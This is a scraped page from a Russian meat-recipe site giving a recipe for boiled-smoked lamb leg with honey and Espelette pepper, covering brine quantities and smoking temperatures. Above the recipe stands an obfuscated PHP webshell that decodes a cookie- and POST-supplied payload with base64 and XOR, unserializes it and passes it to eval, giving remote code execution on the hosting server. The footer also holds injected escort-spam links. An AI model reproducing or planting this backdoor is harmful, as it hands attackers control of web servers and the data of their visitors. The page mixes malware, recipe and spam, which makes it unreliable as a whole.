$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Ягненок варено-копченый на вишневой щепе с медом и перцем эспелет • Meat Review

Ягненок варено-копченый на вишневой щепе с медом и перцем эспелет
Как раз тот случай, когда к вам неожиданно пришли гости, достаньте из холодильника копченый окорок ягненка-нарежьте и подайте!

Перейти в режим чтения
Распечатать
0 0
Ягненок варено-копченый на вишневой щепе с медом и перцем эспелет

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

Подарили ногу ягненка с оказией и условием ; будешь коптить - поделись!... Решил закоптить, конечно же по "древним, семейным рецептам". Рецепт прошептал на ухо дед на смертном одре. Так что будучи апологетом родника мудрости предков, решил поделиться и с Вами.

    Инструкция

    Поделиться

     

    На 1 кг ножки ягненка
    Рассол 600мл
    Перец эспелет 2 гр
    Масло настоянное на паприке и прованских травах 20 гр
    Для рассола на 1 литр
    Соль нитритная 50
    Тимьян 1гр
    Зира 2.5гр
    Перец черный 2гр
    Чеснок свежий 5 гр
    Мед 20гр
    Лавровый лист 0.2гр
    Вода 250 мл
    Вода холодная 350мл
    Лед 450гр
    В воду 250мл добавить специи, соль, мед, довести до кипения, дать настоять 10 минут. Добавить лед и холодную воду, хорошо перемешать.
    Ногу зачищают, удаляют излишки жира, пленки, открыть сустав, отрезать коленную чашечку.
    Шприцуют рассолом 10% от веса ноги. Рабочая температура рассола +5С. Заливают рассолом и солят в течение 24-36 часов.
    После чего подвешивают на 2 часа для стекания рассола. Обсушивают.
    Перевешивают в камеру, сушат при температуре + 80С без пароувлажнения, до температуры внутри мышцы +45, после чего коптят до внутренней температуры + 57С, затем варят с пароувлажнением до температуры внутри ноги +65С.
    Охлаждают смазывают настоянным на травах маслом перемешанным с перцем эспелет.
    Хранят при Т +2с в течение 5 суток
    Для ароматного масла
    Растительное масло 100гр
    Паприка 20гр
    Прованские травы 20гр
    настаивают в теплом месте в течение 10 суток.

    (Visited 641 times, 1 visits today)

    Sergey Kolesnikov

    обратно
    Свиная грудинка горячего копчения глазированная виски
    далее
    Мясной триколор
    обратно
    Свиная грудинка горячего копчения глазированная виски
    далее
    Мясной триколор

    Похожие рецепты

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close